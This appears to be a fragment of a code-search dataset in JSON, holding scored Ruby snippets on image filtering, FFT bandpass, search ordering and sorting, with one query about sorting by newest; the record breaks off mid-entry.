"text": "def makeFilterKernel(radius, writeKernel=false)\n r = radius\n\n kernelDim = (r.ceil*2 + 1).ceil\n center = r.ceil\n #puts kernelDim\n weightSum = 0\n filterKernel = Array.new(kernelDim) {Array.new(kernelDim,0)}\n for i in (0 ... kernelDim)\n for j in (0 ... kernelDim)\n dist = Math.sqrt((i-(center))**2+(j-(center))**2)\n if dist <= r\n weight = 1.0\n elsif (dist-r < 1.0) && (dist-r > 0.0)\n weight = 1 - (dist - r)\n else\n weight = 0.0\n end\n weightSum += weight\n filterKernel[i][j] = weight\n end\n end\n #puts weightSum\n #Normalize weights to conserve energy\n for i in (0 ... kernelDim)\n for j in (0 ... kernelDim)\n filterKernel[i][j] /= weightSum\n end\n end\n if writeKernel\n png = ChunkyPNG::Image.new(kernelDim,kernelDim,ChunkyPNG::Color.rgba(0,0,0,255))\n for x in (0 ... kernelDim)\n for y in (0 ... kernelDim)\n gs = ((filterKernel[y][x])*255*weightSum).round\n #puts gs\n png.set_pixel(x,y,ChunkyPNG::Color.rgb(gs,gs,gs))\n\n end\n end\n png.save(\"Disc.png\", :fast_rgba)\n end\n return filterKernel\nend",
"title": ""
},
{
"docid": "016d5c448053c939ab0ff21d4e594aa4",
"score": "0.40570673",
"text": "def bandpass left_cutoff, right_cutoff, order\n self.clone.bandpass! left_cutoff, right_cutoff, order\n end",
"title": ""
},
{
"docid": "9362d192d39d23ca7e6c5b0c1d2cf23f",
"score": "0.40526444",
"text": "def process_with_window\r\n @processed_time_data = time_data.take(time_data_size).times self.window.values\r\n self.strategy.data = @processed_time_data\r\n @fft = self.strategy.calculate\r\n @data = @fft\r\n end",
"title": ""
},
{
"docid": "172f3bb8d69fb5a5369bcbc8cdd2324d",
"score": "0.4052498",
"text": "def filter\n @filter ||= filter_class.new default_filter\n end",
"title": ""
},
{
"docid": "45f73a3392a3ca4d31d794c2e09e41a8",
"score": "0.40516162",
"text": "def set_bandwidth(hertz)\n puts \"Setting filter bandwidth to #{hertz}\" if $verbose\n b='BW'+(('0000'+(hertz/10).to_i.to_s)[-4..-1])+';'\n puts b if $verbose\n ret=send_cmd(b,'BW;',b,0.25,0.75,3)\n if(ret)\n return(ret.gsub(/^BW/,'').gsub(/;$/,'').to_i)\n else\n return(nil)\n end\nend",
"title": ""
},
{
"docid": "da8a1fed6a267509721990529dde9b9b",
"score": "0.4045937",
"text": "def update!(**args)\n @disable_fast_process = args[:disable_fast_process] if args.key?(:disable_fast_process)\n @filter = args[:filter] if args.key?(:filter)\n end",
"title": ""
},
{
"docid": "da8a1fed6a267509721990529dde9b9b",
"score": "0.4045937",
"text": "def update!(**args)\n @disable_fast_process = args[:disable_fast_process] if args.key?(:disable_fast_process)\n @filter = args[:filter] if args.key?(:filter)\n end",
"title": ""
},
{
"docid": "4647ce0a355aad990cd91cd047df1724",
"score": "0.4045924",
"text": "def filter (data)\n # leave the data untouched if we don't support the required filter\n return data if @filter.nil?\n\n # decode the data\n self.send(@filter, data)\n end",
"title": ""
},
{
"docid": "94c69a8ed15995178f6b93cb78ba7647",
"score": "0.40430304",
"text": "def set_weigh_in\n @weigh_in = WeighIn.find(params[:id])\n end",
"title": ""
},
{
"docid": "69acf04903f55241a072007c4c9da42a",
"score": "0.4041923",
"text": "def initialize(size:, window: RectangularWindow, wc: , correct: true)\r\n super(size: size, window: window)\r\n wc = wc + @window.transition_width * PI if correct\r\n @equation = ->(n){ \r\n n == 0 ? (wc / PI) : (Math.sin(wc * n) / (PI * n)) \r\n }\r\n ideal_filter = calculate_ideal\r\n @weights = self.window.values.times ideal_filter\r\n @fft = Digiproc::FFT.new(time_data: self.weights)\r\n @fft.calculate\r\n end",
"title": ""
},
{
"docid": "189def2b2b452d616b52f2ec2dd7f4cc",
"score": "0.4030325",
"text": "def update!(**args)\n @filter = args[:filter] if args.key?(:filter)\n end",
"title": ""
},
{
"docid": "189def2b2b452d616b52f2ec2dd7f4cc",
"score": "0.40298417",
"text": "def update!(**args)\n @filter = args[:filter] if args.key?(:filter)\n end",
"title": ""
},
{
"docid": "2ce7f82be7ed5eb35a4a46a3c1a599ce",
"score": "0.40195534",
"text": "def sobel_filter(params = {})\n params[:name] ||= @pictureName.gsub('.png', 'SobelFilter.png')\n params[:save] ||= @picturePath\n \n sobelFilterX = [\n [1, 2, 1], \n [0, 0, 0], \n [-1, -2, -1]\n ]\n sobelFilterY = [\n [-1, 0, 1], \n [-2, 0, 2], \n [-1, 0, 1]\n ]\n \n height, width = @height-2, @width-2\n sobelPic = dup\n\n (1..height).each do |j|\n (1..width).each do |i|\n pixel1 = calculate_pixel_value_with_filter3(sobelFilterX, @picture, i, j, true)\n pixel2 = calculate_pixel_value_with_filter3(sobelFilterY, @picture, i, j, true)\n res = Math.sqrt(pixel1[0] * pixel1[0] + pixel2[0] * pixel2[0])\n sobelPic[i, j] = ChunkyPNG::Color.rgb(res.to_i, res.to_i, res.to_i)\n end\n end\n \n sobelPic.picturePath, sobelPic.pictureName = params[:save], params[:name]\n sobelPic\n end",
"title": ""
},
{
"docid": "c02c328650b2e0110ba7aa75a14e97bf",
"score": "0.4018531",
"text": "def filter(*args,&block)\n if args && args.any? || block_given?\n @filter = Lolita::Configuration::Filter.new(dbi,*args,&block)\n add_observer(@filter)\n end\n @filter\n end",
"title": ""
},
{
"docid": "8cdf1bf7b8289db32a2111c82b7b361f",
"score": "0.39994955",
"text": "def facterdb_filter(_args = [])\n dynamic_facterdb_filter.ai\n end",
"title": ""
},
{
"docid": "8cdf1bf7b8289db32a2111c82b7b361f",
"score": "0.39994955",
"text": "def facterdb_filter(_args = [])\n dynamic_facterdb_filter.ai\n end",
"title": ""
},
{
"docid": "8f9a0a15e76b9520db0ac776b48a3155",
"score": "0.39992934",
"text": "def new_input_set()\n return GetFrequencyInputSet.new()\n end",
"title": ""
},
{
"docid": "ba3fdd2544401a76e6deeee06a773c82",
"score": "0.39974573",
"text": "def series(opts = {})\n if not opts.empty?\n @series_data << OptionsKeyFilter.filter(opts.merge(:name => opts[:name], :data => opts[:data]))\n end\n end",
"title": ""
},
{
"docid": "6057bd76eeb8a8b6fcbf708a57d6b8f2",
"score": "0.39971244",
"text": "def register_filter(mod)\n StrainerFactory.add_global_filter(mod)\n end",
"title": ""
},
{
"docid": "a7a75fe3b84887e53c274acc9db53d2a",
"score": "0.3995645",
"text": "def _refresh(ds)\n clear_instance_filters\n super\n end",
"title": ""
},
{
"docid": "d43d2e07366a42d3dace51516d3987fc",
"score": "0.3993588",
"text": "def filter(in_channel, prime)\n out = Agent::Channel.new(name: \"filter_#{prime}\".to_sym, type: Integer)\n\n go do\n loop do\n i = in_channel.receive\n out << i if (i % prime) != 0\n end\n end\n\n return out\n end",
"title": ""
},
{
"docid": "82e42d56dcb96e00f5987bca85c5e96d",
"score": "0.3985945",
"text": "def set_dis_additive_frequency\n @dis_additive_frequency = DisAdditiveFrequency.find(params[:id])\n end",
"title": ""
},
{
"docid": "82e42d56dcb96e00f5987bca85c5e96d",
"score": "0.3985945",
"text": "def set_dis_additive_frequency\n @dis_additive_frequency = DisAdditiveFrequency.find(params[:id])\n end",
"title": ""
},
{
"docid": "0dc7813e561d8fdf897e0d5daa57c06e",
"score": "0.39716846",
"text": "def update!(**args)\n @filters = args[:filters] if args.key?(:filters)\n @histogram_query = args[:histogram_query] if args.key?(:histogram_query)\n @require_precise_result_size = args[:require_precise_result_size] if args.key?(:require_precise_result_size)\n end",
"title": ""
},
{
"docid": "3a2aed4efd5480c0831be94c3c82dec3",
"score": "0.39697123",
"text": "def next\n # Discard non-matching values.\n nil until (value = input) && @filter.call(value)\n\n handle_value(value)\n end",
"title": ""
},
{
"docid": "e6eeb3d8eebbcdabb6d1c07b5930db06",
"score": "0.39659455",
"text": "def strict_filters=(_arg0); end",
"title": ""
},
{
"docid": "adf03cb37d06412066ad344c6ebeb8d9",
"score": "0.39647648",
"text": "def collect data\n i = 0\n data_size = data.size\n while i < data_size\n remaining = data_size - i\n space = @bins - @fft_pos\n actual = [remaining,space].min\n new_fft_pos = @fft_pos + actual\n @fft[@fft_pos...new_fft_pos] = data[i...i+actual]\n @fft_pos = new_fft_pos\n if @fft_pos == @bins\n @fft_pos = 0\n @next_fft = @fft.dup\n end\n i += actual\n end\n end",
"title": ""
},
{
"docid": "f46e0b98d2a7677fde17c312674286b1",
"score": "0.39637977",
"text": "def band_pass(a)\n b = Marshal.load(Marshal.dump(a))\n fast_fourier_transform!(b, 1)\n c = Array.new(b.length) { 0 }\n (4...8).each do |i|\n c[i] = 1\n end\n (0...b.length).each do |i|\n b[i] *= c[i]\n end\n fast_fourier_transform!(b, -1)\n (0...b.length).each do |i|\n b[i] = b[i].real\n end\n b.pop\n b\n end",
"title": ""
}
] |
9b17063e771d53cd76bd2f0aad03452a
|
Adds sort by newest in addition to default index search
|
[
{
"docid": "e5589659b2b3cdfdcaeb06ef4c18c938",
"score": "0.6534476",
"text": "def newest\n params[:sort] = 'ACTIVATED_AT DESC'\n params[:school_id] = auth_user.current_school_id\n index\n end",
"title": ""
}
] |
[
{
"docid": "9552b9eee1d1762b45227f0e8d8400cc",
"score": "0.67772985",
"text": "def latest_order\n # order(created_at: :desc)\n scan_index_forward(false)\n end",
"title": ""
},
{
"docid": "f60b88ed66537fa8c6df041a5d131c15",
"score": "0.6736446",
"text": "def index_sort_order\n @query = {}\n @query['sort_key'] = params['sort_key'] unless params['sort_key'].blank?\n\n if @query['sort_key']&.starts_with?('-')\n \"#{@query['sort_key'].delete_prefix('-')} DESC\"\n elsif @query['sort_key'].present?\n \"#{@query['sort_key']} ASC\"\n else\n 'updated_at DESC'\n end\n end",
"title": ""
},
{
"docid": "9f46bcaaf248b93a5cb72850640875e1",
"score": "0.65450567",
"text": "def ja_sort\n [{ :created_at => :desc }]\n end",
"title": ""
},
{
"docid": "e67546defccfda59c4fa6e1684ad4ec0",
"score": "0.64800763",
"text": "def default_sort\n { order: :created_at, direction: :desc }\n end",
"title": ""
},
{
"docid": "fe06e5e5d13bbed6b8c7d3180ccb6ac5",
"score": "0.6427873",
"text": "def default_sort\n 'created_at desc'\n end",
"title": ""
},
{
"docid": "7309b32eaaca1d56db01a80bfbfb1ec0",
"score": "0.6183568",
"text": "def index\n @searches = Search.order(\"updated_at\").reverse_order\n end",
"title": ""
},
{
"docid": "1b7aec6319a7e10b29e1a506a16a81b1",
"score": "0.61703455",
"text": "def supports_index_sort_order?\n false\n end",
"title": ""
},
{
"docid": "1b7aec6319a7e10b29e1a506a16a81b1",
"score": "0.61703455",
"text": "def supports_index_sort_order?\n false\n end",
"title": ""
},
{
"docid": "13d387f46994a191f32a3e0bc0d0a86c",
"score": "0.6159971",
"text": "def sort_by_default\n 1\n end",
"title": ""
},
{
"docid": "15da734d03504360ffc68e443bc5b570",
"score": "0.615744",
"text": "def set_sort_index\n self.sort_index = next_sort_index and return unless self.sort_index\n end",
"title": ""
},
{
"docid": "6fdf065082139cb3ffa83b7461dfbd14",
"score": "0.6143078",
"text": "def sort_index\n self.index || 0\n end",
"title": ""
},
{
"docid": "9062de3eed1af6a699da37cec4452377",
"score": "0.6136148",
"text": "def projects_index_sorts\n [\n [\"name\", :sort_by_title.t],\n [\"created_at\", :sort_by_created_at.t],\n [\"updated_at\", :sort_by_updated_at.t]\n ].freeze\n end",
"title": ""
},
{
"docid": "3a4055bf0c5212a1ccffbc088498f1e0",
"score": "0.6110121",
"text": "def add_sort_field(*) super end",
"title": ""
},
{
"docid": "e31e66e419c669d624d7b23b660b4fe1",
"score": "0.6046071",
"text": "def handle_search_n_sort\n if @search_sort\n inject_into_file \"app/models/#{singular_table_name}.rb\",\n before: /^end/ do\n \"\\n\\textend SqlSearchableSortable\\n\"\n end\n inject_into_file \"app/models/#{singular_table_name}.rb\",\n before: /^end/ do\n \"\\n\\tsql_searchable #{searchable_cols_as_symbols}\\n\" \n end\n inject_into_file \"app/models/#{singular_table_name}.rb\",\n before: /^end/ do\n \"\\n\\tsql_sortable #{cols_to_symbols}\\n\"\n end\n end\n\n end",
"title": ""
},
{
"docid": "b1db247c4e5233422d5c85393dfb7fd5",
"score": "0.5974465",
"text": "def default_sort\n 'name asc'\n end",
"title": ""
},
{
"docid": "d6922708c710138f15d517c821b4da3b",
"score": "0.59474003",
"text": "def location_index_sorts(query:)\n [\n [\"name\", :sort_by_name.t],\n [\"created_at\", :sort_by_created_at.t],\n [(query&.flavor == :by_rss_log ? \"rss_log\" : \"updated_at\"),\n :sort_by_updated_at.t],\n [\"num_views\", :sort_by_num_views.t]\n ]\n end",
"title": ""
},
{
"docid": "ed860ddde4871fd8015d1800ef4326e0",
"score": "0.59225696",
"text": "def sort_descending(sort)\n self.query.sort = sort\n self.query.sort_descending = true\n self\n end",
"title": ""
},
{
"docid": "d52560d48641a54b84087a51ffc1b5bb",
"score": "0.59211344",
"text": "def default_sort=(field)\n @order_by.unshift(field)\n end",
"title": ""
},
{
"docid": "62d66f126ea54576b7ca74b24a56066f",
"score": "0.5920996",
"text": "def add_sorting_to_solr(solr_parameters)\n solr_parameters[:sort] = sort if sort.present?\n end",
"title": ""
},
{
"docid": "2d643e719d90c5bb30ed39f50d0c0cd1",
"score": "0.5900907",
"text": "def _default_library_find_options\n {\n :by => 'created_at',\n :order => 'desc'\n }\n end",
"title": ""
},
{
"docid": "2d643e719d90c5bb30ed39f50d0c0cd1",
"score": "0.5900907",
"text": "def _default_library_find_options\n {\n :by => 'created_at',\n :order => 'desc'\n }\n end",
"title": ""
},
{
"docid": "4ebc7eea2847771cb005ae948d4988ca",
"score": "0.5853617",
"text": "def sort(sort)\n self.query.sort = sort\n self.query.sort_descending = false\n self\n end",
"title": ""
},
{
"docid": "66b9d78acab457fd707d59ee0b16968c",
"score": "0.58382",
"text": "def get_sort(collection, params)\n if params[:sort] && sort = cached_source(params[:sort])\n collection.joins(:results)\n .where(\"results.source_id = ?\", sort.id)\n .order(\"results.total DESC\")\n elsif params[:sort] == \"created_at\"\n collection.order(\"works.created_at ASC\")\n else\n collection.order(\"works.issued_at DESC\")\n end\n end",
"title": ""
},
{
"docid": "446b246fd2bc9d3d65023ba0f0f91518",
"score": "0.5771541",
"text": "def sort_by_time\n (updated_at || published_at)\n end",
"title": ""
},
{
"docid": "5aef4819460eecdcea2779e3ce9e84f2",
"score": "0.5769872",
"text": "def index\n type = params[:type]\n field = params[:field]\n\n @items = Item.all.order(\"updated_at desc\")\n if type == \"sort\"\n @items = Item.all.order(\"#{field} asc\")\n end\n\n\n end",
"title": ""
},
{
"docid": "fefd37e60dfc5fc8742b1070fb8f69f8",
"score": "0.5756003",
"text": "def deleted_at_sort\n deleted_at ? 2 : 1\n end",
"title": ""
},
{
"docid": "130c9d6c9bb53e0fb778808216970e49",
"score": "0.5734309",
"text": "def sort_column\n Note.column_names.include?(params[:sort]) ? params[:sort] : \"updated_at\"\n end",
"title": ""
},
{
"docid": "e4a0540569bf69e88831f852f3fba477",
"score": "0.57172036",
"text": "def tie_breaking_sort\n { \"content_id\" => { order: \"asc\" } }\n end",
"title": ""
},
{
"docid": "a1a847406b707d41a89a454106e9797b",
"score": "0.5709765",
"text": "def sort_docs_by_key!; end",
"title": ""
},
{
"docid": "6ea5010a61b78314e61cfb58e4b46de7",
"score": "0.5690518",
"text": "def outdated_list(sort_order: { created_at: :desc })\n outdated.order(sort_order)\n end",
"title": ""
},
{
"docid": "36dc0cd46054381d1ea9098002ba89ae",
"score": "0.56701046",
"text": "def advancedSort\n @sortField = params[:sortField]#field to search on \n @searchField =params[:searchField]# value to search for\n @sortField2 = params[:sortField2]\n @searchField2 =params[:searchField2]\n @graphField = params[:graphField] #datapoint to build graph around\n \n if @sortField2 == \" \"#check if default second value was changed\n @records = Record.where(@sortField => @searchField) #if not only use the first search field\n else#otherwise use both seach fields\n @records = Record.where(@sortField => @searchField, @sortField2 => @searchField2 )\n end\n @sortedSet = @records.order(@graphField)\n end",
"title": ""
},
{
"docid": "15d07703882daeb4063a7b216c1784bb",
"score": "0.5666052",
"text": "def order\n if max_age.to_i > 0\n 'created_at'\n elsif max_posts.to_i > 0\n 'idx'\n else\n 'idx desc'\n end\n end",
"title": ""
},
{
"docid": "fce66ad1ab2fc65c65b25b451aaea364",
"score": "0.564795",
"text": "def sort(key, by: T.unsafe(nil), limit: T.unsafe(nil), get: T.unsafe(nil), order: T.unsafe(nil), store: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "cb53e8505ec12ab4fe477bd6280320f1",
"score": "0.5647848",
"text": "def sort_column\n Order.column_names.include?(params[:sort]) ? params[:sort] : \"updated_at\"\n end",
"title": ""
},
{
"docid": "20260d22cd955667fce8fbc7973d3a83",
"score": "0.5635123",
"text": "def sort\n (@params[:sort] || :created_at).to_sym\n end",
"title": ""
},
{
"docid": "e206dfcba09a6427bcc4787802fef31d",
"score": "0.56342787",
"text": "def sort_column\n %w[fullname school].include?(params[:sort]) ? params[:sort]: \"created_at\"\n end",
"title": ""
},
{
"docid": "1d1ae9e3096563fbd7a5375f61422c50",
"score": "0.56178755",
"text": "def sort\n @sort ||= if order_by_primary_key?\n # Default order is by id DESC\n :desc\n else\n # API defaults to DESC order if param `sort` not present\n request_context.params[:sort]&.to_sym || :desc\n end\n end",
"title": ""
},
{
"docid": "3d935ba330a8ee029cdcea19cb3c9072",
"score": "0.5606388",
"text": "def sort_column\n News.column_names.include?(params[:sort]) ? params[:sort] : \"created_at\"\n end",
"title": ""
},
{
"docid": "49272431bc7fcc7c7588f0070e264ed3",
"score": "0.56062067",
"text": "def sort_by_without_hooks!( & block )\n \n @without_hooks = true\n\n sort_by!( & block )\n \n @without_hooks = false\n \n return self\n \n end",
"title": ""
},
{
"docid": "053848432f8882ccc08087118c72adb1",
"score": "0.5600143",
"text": "def sort_order\n super\n end",
"title": ""
},
{
"docid": "4d80d641bdbf226810840b57eae56e82",
"score": "0.55882144",
"text": "def sort\n conditions = scope_condition\n list_items = order_by_position(conditions, :created_at.desc).to_a\n\n list_items.each_with_index do |list_item, index|\n list_item.set_my_position index + 1\n end\n end",
"title": ""
},
{
"docid": "4d80d641bdbf226810840b57eae56e82",
"score": "0.55882144",
"text": "def sort\n conditions = scope_condition\n list_items = order_by_position(conditions, :created_at.desc).to_a\n\n list_items.each_with_index do |list_item, index|\n list_item.set_my_position index + 1\n end\n end",
"title": ""
},
{
"docid": "34d19d968df3ba3211c9a97694bb62dc",
"score": "0.55872244",
"text": "def newest(constraints = {})\n constraints.merge!(order: :created_at.desc)\n _q = query(constraints)\n _q.define_singleton_method(:method_missing) { |m, *args, &block| self.results.send(m, *args, &block) }\n _q\n end",
"title": ""
},
{
"docid": "7cb5012f4f143e45e2c5eefde5ac5885",
"score": "0.5581398",
"text": "def index_model\n model().default_order\n end",
"title": ""
},
{
"docid": "29b4468d959d2846f524a2c051a71b39",
"score": "0.5577019",
"text": "def sort_results(results)\n case @metadata[:sort]\n when \"new\"\n results.sort_by do |c|\n [c.set.regular? ? 0 : 1, -c.release_date_i, c.default_sort_index]\n end\n when \"old\"\n results.sort_by do |c|\n [c.set.regular? ? 0 : 1, c.release_date_i, c.default_sort_index]\n end\n when \"newall\"\n results.sort_by do |c|\n [-c.release_date_i, c.default_sort_index]\n end\n when \"oldall\"\n results.sort_by do |c|\n [c.release_date_i, c.default_sort_index]\n end\n when \"cmc\"\n results.sort_by do |c|\n [c.cmc ? 0 : 1, -c.cmc.to_i, c.default_sort_index]\n end\n when \"pow\"\n results.sort_by do |c|\n [c.power ? 0 : 1, -c.power.to_i, c.default_sort_index]\n end\n when \"tou\"\n results.sort_by do |c|\n [c.toughness ? 0 : 1, -c.toughness.to_i, c.default_sort_index]\n end\n when \"rand\"\n results.sort_by do |c|\n [Digest::MD5.hexdigest(@query_string + c.name), c.default_sort_index]\n end\n when \"number\"\n results.sort_by do |c|\n [c.set.name, c.number.to_i, c.number, c.default_sort_index]\n end\n when \"color\"\n results.sort_by do |c|\n [COLOR_ORDER.fetch(c.colors), c.default_sort_index]\n end\n when \"ci\"\n results.sort_by do |c|\n [COLOR_ORDER.fetch(c.color_identity), c.default_sort_index]\n end\n when \"rarity\"\n results.sort_by do |c|\n [-c.rarity_code, c.default_sort_index]\n end\n else # \"name\" or unknown key\n results.sort_by(&:default_sort_index)\n end\n end",
"title": ""
},
{
"docid": "cc0d3b0b40b6b96832ce55c8bd0f0c28",
"score": "0.5573667",
"text": "def default_ordered_on; 'published_at' end",
"title": ""
},
{
"docid": "6d9eff8c59170e68a209fe9a334cafa4",
"score": "0.5565024",
"text": "def earliest_order\n # order(created_at: :asc)\n scan_index_forward(true)\n end",
"title": ""
},
{
"docid": "21e258e48bc933cb9d89eff58c1fc579",
"score": "0.55534995",
"text": "def set_listing_sort_order(search_object, default_val)\n if params[:sort]\n sort_order = params[:sort].downcase\n case sort_order\n when \"manu\"\n search_object.sort_order = SortOrder::SORT_BY_MANU_ASC\n when \"manud\"\n search_object.sort_order = SortOrder::SORT_BY_MANU_DESC\n when \"size\"\n search_object.sort_order = SortOrder::SORT_BY_SIZE_ASC\n when \"sized\"\n search_object.sort_order = SortOrder::SORT_BY_SIZE_DESC\n when \"upd\"\n search_object.sort_order = SortOrder::SORT_BY_UPDATED_ASC\n when \"updd\"\n search_object.sort_order = SortOrder::SORT_BY_UPDATED_DESC\n when \"qty\"\n search_object.sort_order = SortOrder::SORT_BY_QTY_ASC\n when \"type\"\n search_object.sort_order = SortOrder::SORT_BY_TYPE_ASC\n when \"treadd\"\n search_object.sort_order = SortOrder::SORT_BY_TREADLIFE_DESC\n when \"distance\"\n search_object.sort_order = SortOrder::SORT_BY_DISTANCE_ASC\n when \"cost\"\n search_object.sort_order = SortOrder::SORT_BY_COST_PER_TIRE_ASC\n when \"costd\"\n search_object.sort_order = SortOrder::SORT_BY_COST_PER_TIRE_DESC\n when \"name\"\n search_object.sort_order = SortOrder::SORT_BY_MODEL_NAME_ASC\n when \"named\"\n search_object.sort_order = SortOrder::SORT_BY_MODEL_NAME_DESC\n when \"store\"\n search_object.sort_order = SortOrder::SORT_BY_STORE_NAME_ASC\n when \"stored\"\n search_object.sort_order = SortOrder::SORT_BY_STORE_NAME_DESC\n else\n search_object.sort_order = default_val\n end\n else\n search_object.sort_order = default_val\n end\n end",
"title": ""
},
{
"docid": "5c592e7a2e4be0d5cf6e52427d3cfe67",
"score": "0.5529061",
"text": "def default_sort\n if results_limit\n order(MasterRank).limit(results_limit)\n else\n order(MasterRank).all\n end\n end",
"title": ""
},
{
"docid": "181e316c8cadd7282e77aac259bca5c0",
"score": "0.5522843",
"text": "def index\n @search_queries = current_user.search_query.archive.order_by(:created_at.desc)\n end",
"title": ""
},
{
"docid": "3b57a558c625d7e97baac33e79cb2de4",
"score": "0.55135643",
"text": "def sort_by\n unless params[:sort].blank?\n params[:sort] if params[:sort] == 'created_at' || 'vote_score' || 'replies'\n else\n 'created_at'\n end\n end",
"title": ""
},
{
"docid": "374ea24626e6230cf8c9a85b1ff73c1c",
"score": "0.55031973",
"text": "def sort_by( & block )\n\n load_parent_state\n \n return super\n\n end",
"title": ""
},
{
"docid": "0b3dd06719b319766b7e8f84e3506aae",
"score": "0.5496805",
"text": "def apply\n jobs.sort_by.with_index { |job, ix| order(job, ix) }\n end",
"title": ""
},
{
"docid": "5756be03c997dff724490fd2d88cf4fb",
"score": "0.5493894",
"text": "def index\n @posts = Post.where(:ts_date => 1.week.ago...Time.now).order(sort_column + ' ' + sort_direction)\n end",
"title": ""
},
{
"docid": "33a9a511d4753222bd2eada55f7ed62f",
"score": "0.5475374",
"text": "def add_hierarchy_sort(solr_params)\n solr_params[:sort] = 'sort_ii asc' if %w[online_contents collection_context].include? blacklight_params[:view]\n solr_params\n end",
"title": ""
},
{
"docid": "2d64f36716741bdacbf2d4a242e40bec",
"score": "0.54714745",
"text": "def apply_sorting(query, sort_params)\n (sort_params[:sort] || {}).each do |idx, order|\n order = (order.to_i % 2 == 0) ? :asc : :desc\n filter = ajax_filters.find { |f| f.position == idx.to_i }\n\n next if filter.blank?\n\n klass = filter.klass || query.klass\n column = filter.column\n\n if filter.sorter_query.present?\n query = filter.sorter_query.call(query, order)\n else\n query = query.reorder(\"#{klass.table_name}.#{column} #{order} NULLS LAST\")\n end\n end\n\n query\n end",
"title": ""
},
{
"docid": "c7bc295f5e6a4ea94f21e30a6cd7b5db",
"score": "0.54553217",
"text": "def ordering_query; end",
"title": ""
},
{
"docid": "fae2b17b4f0af35548a825fb392d7557",
"score": "0.5450042",
"text": "def sort_order\n 0\n end",
"title": ""
},
{
"docid": "202d558fa27d513322b7e54e752565b1",
"score": "0.5447656",
"text": "def list_entries_with_sort\n if params[:sort].present? && sortable?(params[:sort])\n list_entries_without_sort.except(:order).order(sort_expression)\n else\n list_entries_without_sort\n end\n end",
"title": ""
},
{
"docid": "09a01d39f083fb3d3bcbb6260f860221",
"score": "0.54457986",
"text": "def default_sort_option\n\t\t'name'\n\tend",
"title": ""
},
{
"docid": "7981236749d32e2cfa8184ca3638b259",
"score": "0.54445505",
"text": "def add_sort_by(field, dir = \"desc\")\n @sort_fields << {field => dir}\n end",
"title": ""
},
{
"docid": "377a8851656122ad34a2c5d8a61478fb",
"score": "0.5440219",
"text": "def add_sorting_to_solr(solr_parameters, user_params)\n if user_params[:sort].blank? and sort_field = blacklight_config.default_sort_field\n # no sort param provided, use default\n solr_parameters[:sort] = sort_field.sort unless sort_field.sort.blank?\n elsif sort_field = blacklight_config.sort_fields[user_params[:sort]]\n # check for sort field key \n solr_parameters[:sort] = sort_field.sort unless sort_field.sort.blank?\n else \n # just pass the key through\n solr_parameters[:sort] = user_params[:sort]\n end\n end",
"title": ""
},
{
"docid": "ae3d141e9fe04966ec08ffef4f2b1bbb",
"score": "0.5422177",
"text": "def sort_by(&block)\n super(&block).extend(OperationList)\n end",
"title": ""
},
{
"docid": "2ef327109fcbb75a7a830f4b013c588a",
"score": "0.54199564",
"text": "def sort_array_by_fields(array, default_order = \"launched_on\")\n sort_by = self.class::SORT_FIELDS[params[:order_by] || default_order]\n array = array.sort(&sort_by)\n\n params[:order_dir] != Sortable::DIRECTION_ASC ? array.reverse : array\n end",
"title": ""
},
{
"docid": "e21ec00651e1c431a28921c34fb55dd1",
"score": "0.5415964",
"text": "def sort_column\n Inquiry.column_names.include?(params[:sort]) ? params[:sort] : \"created_at\"\n end",
"title": ""
},
{
"docid": "c3dcbd990d23267f64dae60993173316",
"score": "0.5414754",
"text": "def index\n @things = Thing.all.order('updated_at DESC')\n end",
"title": ""
},
{
"docid": "e7b663fbb8195f18a964090afd1c04a0",
"score": "0.5411878",
"text": "def sort_params; end",
"title": ""
},
{
"docid": "e7b663fbb8195f18a964090afd1c04a0",
"score": "0.5411878",
"text": "def sort_params; end",
"title": ""
},
{
"docid": "375a1156e4f55e7b6e4868453b9209c0",
"score": "0.53999335",
"text": "def add_pagination_and_sorting( query )\n\n query.paginate( page: params[:page] ).order( \"#{sort_column} #{( sort_order == 'a' ) ? 'ASC' : 'DESC' }\" )\n\n end",
"title": ""
},
{
"docid": "1105ae4b83addcee9a34060f33ae5a6e",
"score": "0.5396336",
"text": "def set_sort_order\n previous_max = Room.maximum(\"sort_order\") || 0\n write_attribute(:sort_order, previous_max +1)\n end",
"title": ""
},
{
"docid": "cf260287c66fbe8490365ddcf727c897",
"score": "0.5395688",
"text": "def with_default_ordering\n order(:start_time)\n end",
"title": ""
},
{
"docid": "11ce13e20510d01629fc0044e9c0f5dc",
"score": "0.5394828",
"text": "def sortby_title_when_browsing solr_parameters, user_parameters\n # if no search term is submitted and user hasn't specified a sort\n # assume browsing and use the browsing sort field\n if user_parameters[:q].blank? and user_parameters[:sort].blank?\n browsing_sortby = blacklight_config.sort_fields.values.select { |field| field.browse_default == true }.first\n solr_parameters[:sort] = browsing_sortby.field\n end\n end",
"title": ""
},
{
"docid": "b66eefef3423b43e3a85240c573376d9",
"score": "0.5390642",
"text": "def sort_entries; end",
"title": ""
},
{
"docid": "37a2b2009a552f9d96b4e3b8071aa208",
"score": "0.53831697",
"text": "def sort_index\n pos = nil\n pos ||= self.position if self.respond_to?(:position)\n [pos || 9999, self.id]\n end",
"title": ""
},
{
"docid": "54e777e79dd76377ce2e73b5c1a0cf66",
"score": "0.5373081",
"text": "def sort_method\n @options[:sort_method] || :self_time\n end",
"title": ""
},
{
"docid": "87b9363c6785d4cdcf9468b78c440c7f",
"score": "0.5372779",
"text": "def update_sort_key\n @item.sort_key = @sortable[@parent.sort_index]\n @item.reversed = @parent.reversed? ? -1 : 1\n end",
"title": ""
},
{
"docid": "92fe0cb52e2ead00d212c43b6c424410",
"score": "0.53714246",
"text": "def sort(sort = nil)\n set_option(:sort, sort)\n end",
"title": ""
},
{
"docid": "4630bf8046448bf77e638a9bb76ec724",
"score": "0.5365712",
"text": "def facet_sort_field_for_solr\n date_to_order_by = event_start\n # puts \"T1: date_to_order_by = #{date_to_order_by}\"\n date_to_order_by = entry_deadline if is_opportunity?\n # puts \"T2: date_to_order_by = #{date_to_order_by}\"\n date_to_order_by = Time.parse(\"12/31/2037\") if date_to_order_by.blank?\n # puts \"T3: date_to_order_by = #{date_to_order_by}\"\n return FinderHelper.date_for_solr_ymd(date_to_order_by)\n end",
"title": ""
},
{
"docid": "5b69602a57ab57141b4443056d95e582",
"score": "0.53570867",
"text": "def sort_entries=(_arg0); end",
"title": ""
},
{
"docid": "9b9cfe1f8e9e370ab3e83743d724f4cf",
"score": "0.5352995",
